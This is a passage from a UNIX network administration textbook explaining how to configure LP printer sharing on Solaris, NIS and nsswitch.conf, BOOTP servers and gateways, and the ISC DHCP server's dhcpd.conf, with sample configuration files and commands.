The LP configuration files are located in the /etc/lp directory. These files perform the same basic function as the /etc/printcap file does for LPD. However, the /etc/lp files are not directly edited by the system administrator. On a Solaris system, printers are configured through administrative commands or through the Printer Manager window of the admintool. Figure 9.1 shows the Printer Manager window.

Figure 9.1: Printer Manager

Clients select Add, the Access to Printer from the Add Printer sub-menu of the Edit menu, and enter the name of the remote printer and its server in the window that appears. Servers share printers simply by selecting Add Local Printer in the same menu and configuring a local printer. By default, Solaris shares all local printers.

Remote printer access is controlled by the /etc/lp/Systems file. It comes pre-configured with the following entry:

+:x:-:s5:-:n:10:-:-:Allow all connections

As the comment at its end makes clear, this entry grants all remote systems access to the local printers. The first field defines the name of the host being granted access. When a plus (+) is used in this field, it means all hosts.

The fields in an /etc/lp/Systems entry are separated by colons (:). The field containing an x and all of the fields containing a dash (-) can be ignored. These fields are unused.

The fourth field identifies the type of operating system used on the remote client. It contains either s5 for System V computers that use LP to print jobs, or bsd for BSD systems that use LPD.

The n in the sixth field indicates that this "connection" should never be timed out and removed from the system. A timeout period in minutes could be entered in this field, but this is not usually done. Keep the connection available as long as the local server is up. The 10 is a related value. It indicates that if a connection to a remote system fails, it should be retried after 10 minutes. This is a good value. It is long enough to give the remote system a chance to restart after a crash. Both n and 10 are the defaults and don't usually need to be changed.

Don't directly edit the /etc/lp/Systems file. Modify it with the lpsystem command. To remove a system from the Systems file, use lpsystem with the -r hostname command-line argument, where hostname is the value in the first field of the entry you wish to delete. For example, to remove the plus sign (+) entry from the default /etc/lp/Systems file, type:

# lpsystem -r +

To add an entry to the Systems file, use the lpsystem command without the -r option. For example, to add a BSD system named macadamia, enter:

# lpsystem -t bsd -y "Linux PC in room 820" macadamia

The command adds the following entry to the Systems file:

macadamia:x:-:bsd:-:n:10:-:-:Linux PC in room 820

The -t command-line option defines the operating system type. The -y option defines the comment; macadamia is, of course, the hostname. We accepted the default values for the timeout and the retry intervals. These could have been modified from the command line using the -T timeout and the -R retry options. See the manpage for lpsystem for more information.

All UNIX systems provide some technique for sharing printers. The network administrator's task is to ensure that the printers are accessible via the network and that they are properly secured.

Previous: 9.1 The Network File System | TCP/IP Network Administration | Next: 9.3 Network Information Service
9.1 The Network File System | Book Index | 9.3 Network Information Service


[Chapter 9] 9.3 Network Information Service

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 9.2 Line Printer Daemon Chapter 9
Configuring Network Servers 		Next: 9.4 A BOOTP Server

9.3 Network Information Service

The Network Information Service (NIS) [9] is an administrative database that provides central control and automatic dissemination of important administrative files. NIS converts several standard UNIX files into databases that can be queried over the network. The databases are called NIS maps. Some maps are created from files that you're familiar with from system administration, such as the password file (/etc/passwd) and the groups file (/etc/group). Others are derived from files related to network administration:

[9] NIS was formerly called the "Yellow Pages," or yp. Although the name has changed, the abbreviation yp is still used.

/etc/ethers

Creates the NIS maps ethers.byaddr and ethers.byname. The /etc/ethers file is used by RARP (see Chapter 2, Delivering the Data).

/etc/hosts

Produces the maps hosts.byname and hosts.byaddr (see Chapter 3, Network Services).

/etc/networks

Produces the maps networks.byname and networks.byaddr (see Chapter 3).

/etc/protocols

Creates the two maps protocols.byname and protocols.byaddr (see Chapter 2).

/etc/services

Produces a single map called services.byname (see Chapter 2).

/etc/aliases

Defines electronic mail aliases and produces the maps mail.aliases and mail.byaddr (see Chapter 10).

Check the maps available on your server with the ypcat -x command. This command produced the same map list on both our Solaris and Linux sample systems. Your server may display a longer list. Here is the list from my Solaris system:

% ypcat -x
Use "passwd"    for map "passwd.byname"
Use "group"     for map "group.byname"
Use "networks"  for map "networks.byaddr"
Use "hosts"     for map "hosts.byname"
Use "protocols" for map "protocols.bynumber"
Use "services"  for map "services.byname"
Use "aliases"   for map "mail.aliases"
Use "ethers"    for map "ethers.byname"

The advantage of using NIS is that these important administrative files can be maintained on a central server, and yet completely accessible to every workstation on the network. All of the maps are stored on a master server that runs the NIS server process ypserv. The maps are queried remotely by client systems. Clients run ypbind to locate the server.

The NIS server and its clients are a NIS domain - a term NIS shares with DNS. The NIS domain is identified by a NIS domain name. The only requirement for the name is that different NIS domains accessible through the same local network must have different names. Although NIS domains and DNS domains are distinct entities, Sun recommends using the DNS domain name as the NIS domain name to simplify administration and reduce confusion.

NIS uses its domain name to create a directory within /var/yp where the NIS maps are stored. For example, the DNS domain of our imaginary network is nuts.com, so we also use this as our NIS domain name. NIS creates a directory named /var/yp/nuts.com and stores the NIS maps in it.

While the NIS protocols and commands were originally defined by Sun Microsystems, the service is now widely implemented. To illustrate this, the majority of examples in this section come from Linux - not from Solaris. The syntax of the commands is very similar from system to system.

The command domainname checks or sets the NIS domain name. The superuser can make nuts.com the NIS domain name by entering:

# domainname nuts.com

The NIS domain name is normally configured at startup by placing the domainname command in one of the startup files. On Linux and Solaris systems, the value for the NIS domain name is taken from the /etc/defaultdomain file. This file is used as input to a domainname command in one of the startup files. As shown below, defaultdomain contains only the name of the NIS domain.

% cat /etc/defaultdomain
nuts.com

Initialize the NIS server and build the initial maps with make. The /var/yp/Makefile contains the instructions needed to build the maps. As noted above, it creates a directory using the NIS domain name. The Makefile reads the files in the /etc directory and places maps created from them in the new directory. To initialize a Linux system as a NIS server:

# domainname nuts.com
# cd /var/yp
# make
make[1]: Entering directory '/var/yp/nuts.com'
Updating hosts.byname...
Updating hosts.byaddr...
Updating networks.byaddr...
Updating networks.byname...
Updating protocols.bynumber...
Updating protocols.byname...
Updating rpc.byname...
Updating rpc.bynumber...
Updating services.byname...
Updating passwd.byname...
Updating passwd.byuid...
Updating group.byname...
Updating group.bygid...
Updating netid.byname...
make[1]: Leaving directory '/var/yp/nuts.com'

After initializing the maps, start the NIS server process ypserv and the NIS binder process ypbind.

# ypserv
# ypbind

Our system is now running as both a NIS server and a NIS client. A quick test with ypwhich shows that we are bound to the correct server. ypcat or ypmatch test that we can retrieve data from the server.

# ypwhich
localhost
# ypcat hosts
172.16.55.105            cow cow.nuts.com
172.16.55.106            pig pig.nuts.com
172.16.26.36             island.nuts.com island
127.0.0.1                localhost

The clients need only to define the correct domain name and to run the binder software ypbind:

# domainname nuts.com
# ypbind

Most NIS clients use ypbind to locate the server. Using the NIS domain name, ypbind broadcasts a request for a server for that domain. The first server that responds is the server to which the client "binds." The theory is that the server that responds quickest is the server with the least workload. Generally this works well. However, it is possible for the client to bind to an inappropriate system, e.g., a system that was accidentally configured to run ypserv or one that was maliciously configured to be a false server. Because of this possibility, some systems allow you to explicitly configure the server to which the client will bind. Linux provides the /etc/yp.conf file for this purpose. The syntax of the entries in different versions of this file varies, so see your system documentation before attempting to use it.

Place the NIS domain name in the /etc/defaultdomain file and the ypserv and ypbind commands in a startup file so that the NIS setup will survive the boot. These commands may already be in your startup file. On our Linux client all we needed to do was uncomment the appropriate lines in /etc/rc.d/rc.inet2. On the Linux NIS server it was a little more complicated. In addition to uncommenting the lines for domainname and ypbind we added lines to start ypserv.

NIS is a possible alternative to DNS but most systems use both NIS and DNS. Hostnames can be converted to IP addresses by DNS, NIS, and the host file. The order in which the various sources are queried is defined in the nsswitch.conf file.

9.3.1 The nsswitch.conf file

The Name Service Switch file (nsswitch.conf) defines the order in which the sources of information are searched. Despite its name, it applies to more than just name service. All of the databases handled by NIS are covered by the nsswitch.conf file, as shown in this example:

hosts:      dns  nis  files
networks:   nis  [NOTFOUND=return]  files
services:   nis  files
protocols:  nis  files

The first entry in the file says that a hostname lookup is first passed to DNS for resolution; if DNS fails to find a match, the lookup is then passed to NIS and finally looked up in the hosts file. The second entry says that network names are looked up through NIS. The [NOTFOUND=return] string says to use the networks file only if NIS fails to respond, that is, if NIS is down. In this case, if NIS answers that it cannot find the requested network name, terminate the search. The last two entries search for services port and protocol numbers through NIS and then in the files in the /etc directory.

9.3.2 NIS+

Before leaving the topic of NIS, we should say a word about NIS+. It is just a short discussion, because I do not use NIS+ and I do not know much about it.

NIS+ replaces NIS on Sun systems. It is not a new version of NIS, but a completely new software product that provides all of the functionality of NIS and some new features. The new features are:

  • Improved security. NIS does not authenticate servers, as we noted in the ypbind discussion above, or clients. NIS+ provides authentication of users with a secure DES-encrypted authentication scheme. NIS+ also provides various levels of access so that different users have authority to look at different levels of data. NIS can only provide the same access to everyone in the NIS domain.

  • A hierarchical, decentralized architecture. NIS+, like DNS, is a distributed, hierarchical database system. This allows for a very large namespace. It also allows distributed management of the information structure while maintaining consistent access to the data. NIS is a flat structure. All information about a NIS domain comes from a single master server and NIS domains are not interrelated.

  • Enhanced data structures. NIS converts ASCII files into simple keyed files that the NIS+ documentation calls "two-column maps." NIS+ builds multicolumn database tables. Tables can be searched in a variety of ways to retrieve information about an entry. In addition, NIS+ tables can be linked together to provide related information about an entry.

Clearly NIS+ has some excellent new features and advantages over NIS. So why don't I use it? Good question! The hierarchical architecture and enhanced data structures are important if you have a very large network and lots of data in your namespace. However, many sites evolved using NIS on local subnets and do not see the need to move the entire enterprise under NIS+. Improved security seems like a real winner, but sites with low security requirements don't see the need for additional security and sites with high security requirements may already be behind a firewall that blocks external NIS queries. Additionally, NIS+ is not available for as many operating systems as NIS. Taken together, these reasons have slowed the move to NIS+.

To learn more about NIS+ and how to install it on your system, read the NIS+ Transition Guide, the Name Service Configuration Guide, and the Name Service Administration Guide. All of these are available from Sun as part of the Solaris System and Network Administration manual set.

NIS and NIS+ provide a wide range of system configuration information to their clients. However, they cannot provide all of the information needed to configure a TCP/IP system. In the next two sections, we look at configuration servers that can do the entire job.

Previous: 9.2 Line Printer Daemon | TCP/IP Network Administration | Next: 9.4 A BOOTP Server
9.2 Line Printer Daemon | Book Index | 9.4 A BOOTP Server


[Chapter 9] 9.4 A BOOTP Server

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 9.3 Network Information Service Chapter 9
Configuring Network Servers 		Next: 9.5 DHCP

9.4 A BOOTP Server

A UNIX system becomes a BOOTP server when it runs the BOOTP daemon (bootpd). Some systems, such as Linux, include the daemon with the operating system. Other systems, like Solaris, do not. Even systems that provide bootpd as part of the system software do not run the daemon by default.

There are two ways to run the BOOTP daemon: it can be started at boot time from a startup script or it can be started by the Internet daemon, inetd. If the server has a large number of clients that are frequently rebooted, run bootpd from a startup file. Starting bootpd in this manner reduces the amount of "startup" overhead because the daemon is only started once. Possible lines for starting bootpd from the rc.inet2 file on a Slackware Linux system are:

if [ -f /usr/sbin/bootpd -a -f /etc/bootptab ]; then
      echo -n " bootpd"
      /usr/sbin/bootpd -s
fi

The code checks to make sure that the daemon and its configuration file are available. bootpd is then started with the -s switch. This switch tells bootpd to continue running and listening to the bootps port, and not to time out even if there is no activity on that port. The disadvantage of starting bootpd in this manner is that it continues to use system resources even when it is not needed. The preferred way to start bootpd is from inetd. To start it from inetd on a Slackware 96 Linux system, uncomment the bootps entry in the inetd.conf file and correct the path and daemon name. [10] The completed inetd.conf entry is:

[10] The Slackware 96 inetd.conf file attempts to start in.bootpd instead of bootpd, which is the actual name of the daemon on that system. I'm sure this will be corrected in later releases of Slackware.

bootps    dgram     udp  wait root /usr/sbin/bootpd    bootpd

This entry tells inetd to listen to UDP port 67 identified as bootps in the /etc/services file and, if it hears data on that port, to run /usr/sbin/bootpd as user root. Once the line is added to the inetd.conf file, send a SIGHUP to inetd to force it to read the new configuration, as in this example:

# ps -acx | grep inetd
  93 ?  S    0:00 inetd
# kill -HUP 93

If your systems does not include BOOTP software, don't panic: bootpd is available from the Internet. The same software found in the Linux system can be downloaded in the bootp-DD2.4.3.tar file. Download and untar the source code. su to root and compile the server software with make. The Makefile has entry points for several different UNIX architectures. (For our sample Solaris system, we use the sunos5gcc entry point.) If the software compiles without errors do a make install to install the executable daemon in the /usr/sbin directory. Do a make install.man to install the manpages in /usr/local/man.

You should define all network services, including BOOTP, in the /etc/services file. Add the following lines to your /etc/service file when bootpd is installed:

bootps            67/udp                          # bootp server
bootpc            68/udp                          # bootp client

Finally, make sure that you include bootpd in the /etc/inetd.conf file as shown earlier in this section. Once it is included and inetd is reloaded with a SIGHUP signal, you are ready to run.

Installing the daemon is only the beginning. The real challenge of managing a BOOTP server is providing the configuration information that clients need. The package found on Linux systems and in the bootp-DD2.4.3.tar file is the BOOTP daemon from Carnegie Mellon University (CMU). It has its own unique configuration commands. Other BOOTP server implementations use other configuration commands. However, the type of information provided by BOOTP is the same regardless of the implementation.

The CMU server reads its configuration from the /etc/bootptab file. The syntax used in this file is very similar to the syntax of the /etc/termcap and the /etc/printcap files. Each bootpd configuration parameter is two characters long and is separated from the other parameters by a colon. The general format of a bootptab entry is:

hostname:pa=value:pa=value:pa=value...

Where hostname is the hostname of the client, pa is the two character parameter name, and value is the value assigned to that parameter for this client.

Newline characters separate each client's entry. If an entry spans multiple lines, the newline character at the end of each line must be escaped with a backslash (\). Comments in the bootptab file begin with a sharp sign (#). Table 9.3 contains a list of the bootptab configuration parameters.

Table 9.3: bootptab Configuration Parameters
Parameter | Description | Example
bf | Bootfile | :bf=null
bs | Bootfile size | :bs=22050
cs | Cookie servers list | :cs=172.16.3.7
df | Dump file | :df=/var/tmp/bootp_db.dump
dn | Domain name | :dn=nuts.com
ds | Domain name servers list | :ds=172.16.35.5
ef | Vendor extension file | :ef=/usr/local/xyz.extensions
gw | Gateways list | :gw=128.2.13.1
ha | Hardware address | :ha=7FF8100000AF
hd | Bootfile directory | :hd=/usr/boot
hn | Send hostname boolean | :hn
ht | Hardware type | :ht=ethernet
im | Impress servers list | :im=172.16.8.12
ip | Host IP address | :ip=172.16.11.1
lg | Log servers list | :lg=172.16.12.1
lp | LPR servers list | :lp=172.16.6.6
ns | IEN-116 name servers list | :ns=172.16.12.6
nt | Network Time Protocol server list | :nt=172.16.50.30
ra | Reply address list | :ra=172.16.12.255
rl | Resource location servers | :rl=172.16.99.35
sa | TFTP server | :sa=172.16.12.1
sm | Subnet mask | :sm=255.255.255.0
sw | Swap server | :sw=172.16.12.56
Tn | Vendor extension n | :T132="12345927AD3B"
tc | Template continuation | :tc=default1
td | Secure TFTP directory | :td=/tftpboot
to | Time offset | :to=18000
ts | Time servers list | :ts=172.16.12.1
vm | Vendor magic cookie selector | :vm=auto
yd | NIS domain name | :yd=nuts
ys | NIS server | :ys=172.16.12.1

Every parameter in Table 9.3 that has the word "list" in its description accepts a list of whitespace-separated values. For example, the name server list is defined using the ds parameter in this format: :ds=172.16.12.1 172.16.7.3:. One parameter in the table, hn, is a Boolean. If it is specified, the server sends the hostname from the bootptab entry to the client. As a Boolean hn does not take any values, but all the other parameters do.

Use these parameters to configure TCP/IP for each client on your network. The following sample bootptab file defines the domain name, name servers, the default routers, the Ethernet addresses, the hostnames, the IP addresses, the print servers, and the subnet masks for three different systems. (Don't worry about the details yet; each command will be explained later.)

#  /etc/bootptab file for nuts.com
acorn:\
     :hd=/usr/boot:bf=null:\
     :ds=172.16.12.1 172.16.3.5:\
     :sm=255.255.255.0:\
     :lp=172.16.12.1:\
     :gw=172.16.3.25:\
     :ht=1:ha=0080c7aaa804:\
     :dn=nuts.com:hn:ip=172.16.3.4:
peanut:\
     :hd=/usr/boot:bf=null:\
     :ds=172.16.12.1 172.16.3.5:\
     :sm=255.255.255.0:\
     :lp=172.16.12.1:\
     :gw=172.16.12.1:\
     :ht=1:ha=0800200159C3:\
     :dn=nuts.com:hn:ip=172.16.12.2:
hickory:\
     :hd=/usr/boot:bf=null:\
     :ds=172.16.12.1 172.16.3.5:\
     :sm=255.255.255.0:\
     :lp=172.16.12.1:\
     :gw=172.16.3.25:\
     :ht=1:ha=0000c0a15e10:\
     :dn=nuts.com:hn:ip=172.16.3.16

Notice that much of the information is repetitive. All of the clients use the same domain name, name servers, subnet masks, and print servers. Systems on the same subnets also use the same default routers. It is possible to define repetitive information in templates that are then referenced in individual client configurations. The following example uses a global template that defines the domain name, name servers, subnet mask, and print servers. The template is then referenced in each of the subsequent configurations by using the tc parameter.

#  /etc/bootptab file for nuts.com
defaults:\
     :hd=/usr/boot:\
     :dn=nuts.com:ds=172.16.12.1 172.16.3.5:\
     :sm=255.255.255.0:\
     :lp=172.16.12.1:\
     :hn:
acorn:\
     :tc=defaults:\
     :bf=null:\
     :gw=172.16.3.25:\
     :ht=1:ha=0080c7aaa804:\
     :ip=172.16.3.4:
peanut:\
     :tc=defaults:\
     :bf=null:\
     :gw=172.16.12.1:\
     :ht=1:ha=0800200159C3:\
     :ip=172.16.12.2:
hickory:\
     :tc=defaults:\
     :bf=null:\
     :gw=172.16.3.25:\
     :ht=1:ha=0000c0a15e10:\
     :ip=172.16.3.16:

The first entry, defaults, is the template. The remaining entries are client entries. The template defines information used by all of the hosts and the specific client entries define information unique to those hosts. Looking at the template and at one of the host entries shows a full configuration. First, let's examine the meaning of each parameter in the defaults template:

defaults:\

The name by which this template is referenced is defaults. A template can be assigned any name as long as it doesn't conflict with any hostname in the bootptab file.

:hd=/usr/boot:\

The first line of the defaults template defines the boot directory (hd). BOOTP clients can be diskless systems that boot from the server. The value provided by hd is used by a diskless system to retrieve the boot image. This directory is not used by our clients, but could be needed if a terminal server, router, or other diskless device was added to the network.

:dn=nuts.com:ds=172.16.12.1 172.16.3.5:\

This line defines the domain name and the addresses of the domain name servers. The dn parameter defines the domain name as nuts.com. The ds parameter defines the IP addresses of the name servers used on this network.

:sm=255.255.255.0:\

The sm parameter defines this network's subnet mask.

:lp=172.16.12.1:\

This parameter defines the IP address of an lpr server that is available to every system on the network.

:hn:

The hn parameter tells the server to send the hostname to the client. When this parameter is incorporated in the peanut entry as part of this template, the server sends the name peanut to the client. When it is incorporated in the entry for acorn, the name acorn is sent. Because this is the last line in the defaults template, it does not end with a backslash.

Now let's look at the parameters in a client entry:

acorn:\

The hostname associated with this client entry is acorn.

:tc=defaults:\

This tc parameter tells bootpd to incorporate all of the information defined in the defaults template into this client entry. To use multiple templates in a client entry, include multiple tc parameters. Exclude an individual parameter from a template by specifying the parameter preceded by an at-sign (@). For example, to exclude the lpr server parameter provided by the defaults template from inclusion in the acorn configuration, we could have added :@lp: to the acorn entry.

:bf=null:\

The bf parameter defines the name of the boot file for diskless systems. In the sample, the parameter intentionally points to a file that does not exist because the client has a disk and we want it to boot from its local disk. When a client has its own disk, a value is not required in this field. However, in this case, the value is commonly set to "null" to ensure that if the client accidently has a boot file value in its BOOTREQUEST packet, the value will be overwritten by the server.

:gw=172.16.3.25:\

The default gateway for this subnet is 172.16.3.25.

:ht=1:ha=0080c7aaa804:\

The ht parameter identifies the type of hardware used for the client's network interface. The hardware type is identified by a number or by a keyword. There are several possible values but only two are meaningful: ht will be either 1 for Ethernet or 6 for Token Ring. See the bootptab manpage if you're interested in the other, rarely used, values.

The ha parameter defines the physical hardware address associated with the client's network interface. The example shows an Ethernet address. The type of address provided must be consistent with the hardware type defined by the ht parameter. These two parameters always appear together in a bootptab file.

:ip=172.16.3.4:\

The IP address for this client is 172.16.3.4.

With only three clients in the example, the benefit of using templates may not be immediately clear. The benefits of saving time, reducing typing, and avoiding errors are clearer when a large number of systems are involved.

It is possible to configure a BOOTP server to handle a very large number of clients. However, if a large number of clients rely on a single boot server and all of the clients attempt to boot at one time, the server can be overwhelmed. This might happen in the case of a power outage. There are two mitigating fators: Because most clients cache the configuration provided by the server in a local disk file, they are not completely dependent on the server; and the BOOTP protocol includes back-off algorithms that avoid contention problems. Still, it is possible for an overloaded server to cause a significant delay when booting its clients. One way to avoid problems is to have several boot servers. One server for each subnet is a good design because it eliminates the need to pass BOOTP information through a router, which requires a special configuration.

9.4.1 BOOTP gateway

Normally a BOOTREQUEST packet is not forwarded between networks because it is transmitted from the client using the limited broadcast address - 255.255.255.255. According to the RFCs, the limited broadcast address should not be forwarded, though it is possible to configure some routers to do so. The CMU BOOTP software provides a BOOTP gateway program that eliminates the need to create a special router configuration and allows you to put the configuration server on a different subnet from the BOOTP clients. The BOOTP gateway is bootpgw.

If your system includes BOOTP software, you may already have bootpgw. Linux includes bootpgw. If your system doesn't have it, it will when you download and install the bootp-2.4.3.tar file.

bootpgw is run as an alternative to bootpd. Both of these programs listen to the same port. The inetd.conf entry for bootpgw is:

bootps  dgram  udp  wait  root  /usr/sbin/bootpgw bootpgw 172.16.12.1

inetd listens to the bootps port and starts the bootpgw program when data is received on that port. (Adding the bootps port to /etc/services is covered above in the bootpd installation.) When bootpgw starts, it reads the hostname or address of the BOOTP server from the command line. In the example, the remote BOOTP server is 172.16.12.1. If the data received on the bootps port is a BOOTREQUEST packet, bootpgw retransmits the BOOTREQUEST as a unicast packet addressed directly to the remote configuration server.

At least one system on each subnet must run either bootpd or bootpgw to either reply to BOOTREQUEST packets or to forward them to a system that will. It is not possible to run both bootpd and bootpgw on one system and there is no reason to try. If the subnet has a local BOOTP server up and running, there is no need to forward BOOTREQUEST packets to another network. Use bootpgw on very small subnets that do not justify a local configuration server. On all other subnets, use a local BOOTP server.

9.4.2 BOOTP extensions

As described in Chapter 3, Dynamic Host Configuration Protocol (DHCP) is based on the Bootstrap Protocol (BOOTP). As you might expect, the DHCP enhancements are included in the bootp-2.4.3.tar file. Set the -DDYNAMIC option in the Makefile to compile the DHCP extensions into bootpd. The DHCP extensions add the following /etc/bootptab configuration parameters:

:T254=number

The number of addresses that can be dynamically assigned, written in hex.

:T253=mode

The mode in which dynamic addresses are written into the updated bootptab file. If the mode is 0, addresses are written as IP addresses. If the mode is 1, addresses must be written as hostnames. If a hostname can't be found for a dynamically assigned address, the address assignment is not made when the mode is set to 1. If the mode is 2, the dynamic address is written to the bootptab file as a hostname if there is a valid hostname for the address. If there is not, the IP address is used. Mode 2 is the default and usually should not be changed.

:T250=string

The string contains any additional configuration settings that should be provided to the DHCP clients in the form of bootptab parameters.

:dl=time

The amount of time that the client can keep the address. The client must renew its request for the address before the amount of time specified with the dl parameter has elapsed. If the client does not renew its lease on the address, the server is free to assign the address to another client. If the dl parameter is not used, the address is permanently assigned.

To use these parameters in the bootptab file, create a special entry in the file that begins with the string .dynamic-n. n in this string is a number from 1 to 32767. An example should make this clear. Assume that we want to automatically assign the addresses from 172.16.12.64 to 172.16.12.192, and that we want to manually assign the other addresses. We might enter the following in the bootptab file:

  .dynamic-1:ip=172.16.12.64:T254=0x80:T250="gw=172.16.12.1:ds=172.16.12.3"

This defines a dynamic address group starting at 172.16.12.64. The group contains 128 (80 hex) available addresses. Tell clients assigned an address from this group to use 172.16.12.3 as a name server and to use 172.16.12.1 as a gateway.

When bootpd receives an address request from a client it creates an entry for the client using the information defined above, and physically appends that new entry to the end of the bootptab file. The first client request adds the following entry to the end of the bootptab file:

172.16.12.64:ha=0080c7aaa804:gw=172.16.12.1:ds=172.16.12.3

To assign the client a hostname instead of just an IP address, add hostnames to the domain server database for all of the addresses in the address group.

These extensions help bootpd provide services to DHCP clients. There are also software packages available that have been designed from the beginning to be DHCP servers.

Previous: 9.3 Network Information Service | TCP/IP Network Administration | Next: 9.5 DHCP
9.3 Network Information Service | Book Index | 9.5 DHCP


[Chapter 9] 9.5 DHCP

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 9.4 A BOOTP Server Chapter 9
Configuring Network Servers 		Next: 9.6 Managing Distributed Servers

9.5 DHCP

Dynamic Host Configuration Protocol provides three important features:

Backward compatibility with Bootstrap Protocol (BOOTP)

A DHCP server can support BOOTP clients. Properly configured, a DHCP server can support all of your clients.

Full configurations

A DHCP server provides a complete set of TCP/IP configuration parameters. (See Appendix D, A dhcpd Reference, for a full list.) The network administrator can handle the entire configuration for her users.

Dynamic address assignments

A DHCP server can provide permanent addresses manually, permanent addresses automatically, and temporary addresses dynamically. The network administrator can tailor the type of address to the needs of the network and the client system.

In this section we configure a DHCP server that supports BOOTP clients, performs dynamic address allocation, and provides a wide range of configuration parameters for its clients.

Several implementations of DHCP are available for UNIX systems. Some are commercial packages and some run on a specific version of UNIX. We use the Internet Software Consortium (ISC) Dynamic Host Configuration Protocol Daemon (dhcpd). It is freely available over the Internet and runs on a wide variety of UNIX systems, including both our Linux and Solaris sample systems. (See Appendix D for information on downloading and compiling dhcpd.) If you use different DHCP server software, it will have different configuration commands, but it probably performs the same basic functions.

9.5.1 dhcpd.conf

dhcpd reads its configuration from the /etc/dhcpd.conf file. The configuration file contains the instructions that tell the server what subnets and hosts it services, and what configuration information it should provide them. dhcpd.conf is an ASCII text file that I find more readable than the bootptab file. The easiest way to learn about the dhcpd.conf file is to look at a sample.

# Define global values that apply to all systems.

default-lease-time 86400;
max-lease-time 604800;
get-lease-hostnames true;
option subnet-mask 255.255.255.0;
option domain "nuts.com";
option domain-name-servers 172.16.12.1, 172.16.3.5;
option lpr-servers 172.16.12.1;
option interface-mtu 1500;

# Identify the subnet served, the options related
# to the subnet, and the range of addresses that
# are available for dynamic allocation.

subnet 172.16.3.0 netmask 255.255.255.0 {
    option routers 172.16.3.25;
    option broadcast-address 172.16.3.255;
    range 172.16.3.50 172.16.3.250;
}

subnet 172.16.12.0 netmask 255.255.255.0 {
    option routers 172.16.12.1;
    option broadcast-address 172.16.12.255;
    range 172.16.12.64 172.16.12.192;
    range 172.16.12.200 172.16.12.250;
}

# Identify each BOOTP client with a host statement

group {
    use-host-decl-names true;
    host acorn {
        hardware ethernet 00:80:c7:aa:a8:04;
        fixed-address 172.16.3.4;
    }
    host peanut {
        hardware ethernet 08:80:20:01:59:c3;
        fixed-address 172.16.12.2;
    }
    host hickory {
        hardware ethernet 00:00:c0:a1:5e:10;
        fixed-address 172.16.3.16;
    }
}

This sample configuration file is similar to the example used above for bootptab. It defines a server that is connecting to, and serving, two separate subnets. It assigns IP addresses dynamically to the DHCP clients on each subnet and supports a few BOOTP clients. All of the lines that begin with a sharp sign (#) are comments. The first real configuration line defines a parameter for the server.

We begin the dhcpd.conf file with a set of parameters and options that apply to all of the subnets and clients served. The first three lines are parameters, which provide direction to the server. All three of the sample parameters define some aspect of how dhcpd should handle dynamic address assignments.

default-lease-time

Tells the server how many seconds long a default address lease should be. The client can request that the address be leased for a specific period of time. If it does, it is assigned the address for that period of time, given some restrictions. Frequently, clients do not request a specific lifetime for an address lease. When that happens, the default-lease-time is used. In the example, the default lease is set to one day (86400 seconds).

max-lease-time

Sets the upper limit for how long an address can be leased. Regardless of the length of time requested by the client, this is the longest address lease that dhcpd will grant. The life of the lease is specified in seconds. In the example, it is one week.

get-lease-hostname

Directs dhcpd to provide a hostname to each client that is assigned a dynamic address. Further, the hostname is to be obtained from DNS. This parameter is a Boolean. If it is set to false, which is the default, the client receives an address but no hostname. Looking up the hostname for every possible dynamic address adds substantial time to the startup. Set this to "false". Only set this to true if the server handles a very small number of dynamic addresses.

We will use a few more parameters in this configuration. All of the parameters are documented in Appendix D.

The next four lines are options. The options all start with the keyword option. The keyword is followed by the name of the option and the value assigned to the option. Options define configuration values that are used by the client.

The meaning of the sample options is easy to deduce. The option names are very descriptive. We are providing the clients with the subnet mask, domain name, domain server addresses, and print server address. These values parallel those in the bootptab example shown earlier in this chapter.

DHCP, however, can do more than BOOTP. For sake of illustration we also define the maximum transmission unit (MTU). The sample interface-mtu option tells the client that the MTU is 1500 bytes. In this case the option is not needed because 1500 bytes is the default for Ethernet. However, it illustrates the point that DHCP can provide a very complete set of configuration information.

The subnet statements define the networks that dhcpd will serve. The identity of each network is determined from the address and the address mask, both of which are required by the subnet statement. dhcpd provides configuration services only to clients that are attached to one of these networks. There must be a subnet statement for every subnet to which the server physically connects - even if some subnets do not contain any clients. dhcpd requires the subnet information to complete its startup.

The options and parameters defined in a subnet statement apply only to the subnet and its clients. The meaning of the sample options is clear. They tell the clients what router to use and what broadcast address to use. The range parameter is more interesting, as it goes to the heart of one of DHCP's key features.

The range parameter defines the scope of addresses that are available for dynamic address allocation. It always occurs in association with a subnet statement, and the range of addresses must fall within the address space of the subnet. The scope of the range parameter is defined by the two addresses it contains. The first address is the lowest address that can be automatically assigned and the second address is the highest address that can be assigned. The first range parameter in the example identifies a contiguous group of addresses from 172.16.12.50 to 172.16.12.250 that are available for dynamic assignment. Notice that the second subnet statement has two range parameters. This creates two separate groups of dynamic addresses. The reason for this might be that some addresses were already manually assigned before the DHCP server was installed. Regardless of the reason, the point is that we define a noncontiguous dynamic address space with multiple range statements.

If a range parameter is defined in a subnet statement, any DHCP client on the subnet that requests an address is granted one as long as addresses are available. If a range parameter is not defined, dynamic addressing is not enabled.

To provide automatic address assignment for BOOTP clients, add the dynamic-bootp argument to the range parameter. For example:

range dynamic-bootp 172.16.8.10 172.16.8.50;

By default, BOOTP clients are assigned permanent addresses. It is possible to override this default behavior with either the dynamic-bootp-lease-cutoff or the dynamic-bootp-lease-length parameter. However, BOOTP clients do not understand address leases and they do not know that they should renew an address. Therefore the dynamic-bootp-lease-cutoff and the dynamic-bootp-lease-length parameters are only used in special circumstances. If you're interested in these parameters, see Appendix D.

Each BOOTP client should have an associated host statement that is used to assign the client configuration parameters and options. It can be used to manually assign the client a permanent, fixed address. The sample configuration file ends with three host statements: one for acorn, one for peanut, and one for hickory. Each host statement contains a hardware parameter that defines the type of network hardware (ethernet) and the physical network address (e.g., 08:80:20:01:59:c3) used by the client. The hardware parameter is required in host statements for BOOTP clients. The Ethernet address is used by dhcpd to identify the BOOTP client. DHCP clients can also have associated host statements. For DHCP clients, the hardware parameter is optional because a DHCP client can be identified by the dhcp-client-identifier option. However, it is simpler for a DHCP client connected via Ethernet to be identified by its Ethernet address.

A wide variety of parameters and options can be defined in the host statement. For example, adding to each host statement an option similar to the following one assigns each client a hostname:

option host-name acorn;

It is often easier, however, to define options and parameters at a higher level. Global options apply to all systems. Subnet options apply to every client on the subnet, but the options defined inside of a host statement only apply to a single host. The host-name option shown above would need to be repeated with a different hostname in every host statement. An easier way to define a parameter or option for a group of hosts is to use a group statement.

